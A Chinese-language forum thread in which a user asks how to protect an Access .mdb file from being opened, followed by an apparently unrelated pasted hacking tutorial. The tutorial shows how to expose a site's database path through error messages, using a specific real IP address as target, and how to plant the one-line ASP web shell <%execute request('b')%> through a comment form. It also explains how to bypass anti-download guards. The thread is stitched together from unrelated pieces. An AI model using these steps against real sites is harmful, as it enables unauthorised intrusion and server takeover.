本人经常见到一些小应用程序,用access数据库,但下载下来后发现,数据库名也xxx.mdb这样的文件,但都不能直接打开,另外,特别是一个小的c/s应用程序也有类似情况,请问这是如何做的???
目前因也想自己做个小的程序,放些自己个人的一些资料,想把access数据库也做成那样不能直接在acess中打开的那种,请各位支点招??
知道的留点意见,不知道的捧捧场。
目前因也想自己做个小的程序,放些自己个人的一些资料,想把access数据库也做成那样不能直接在acess中打开的那种,请各位支点招??
知道的留点意见,不知道的捧捧场。
解决方案 »
- 我下载的QQ客服,放到html可以用,放到aspx里面怎么就不行了!!
- vs2010 css样式设计的问题
- 如何将dsoframer.ocx打开的word远程保存到服务器,为什么我保存的word是空的
- vs2005与vs2008
- 子父页面之间的传值
- 高分求解:win2000 server +.net运行环境运行System.Management.dll错误
- win2003下.net调用自己写的DLL失败
- 换了.NET2003出了这个问题,帮忙看看!
- checkbox的问题
- 关于时间的提问
- sql中的错误:Conn't Delete last T_aa because T_bb exists
- 怎样改变框架内的页面
打开提示什么啊
是不是access本身的工作组的设置?
就像金蝶财务软件的access数据库那样
程序使用时候类似下面连接字串:
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\somepath\mydb.mdb;Jet OLEDB:Database Password=MyDbPassword;"
我说的那种是,文件根本不能直接打开,更进不到access应用程中让你输密码了!谁知的,烦请留下意见呀。
1. 思路
大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<% %>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。 2. 示例
随便找个目标,首先我们暴库,看是不是asp后缀的数据库:
<http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210>;
返回:
Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行?4 Microsoft JET Database Engine 错误 '80004005' 'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。 /test/conn.asp,行?
我们提交:<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>;返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:
<%execute request("b")%>
这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>;在乱码的最后我们看到:
/iisHelp/common/500-100.asp,行?4 Microsoft VBScript 运行时错误 错误 '800a000d' 类型不匹配Åä: 'execut /test/dlog/log_mdb/%29dlog_mdb%29.asp,行?26
哈哈,我们的插入的代码运行了。如下图:
注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。
3. 其他一些问题和思路
1.对于改了后缀为asp,还对数据库里加入了<%=’a’-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。
2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。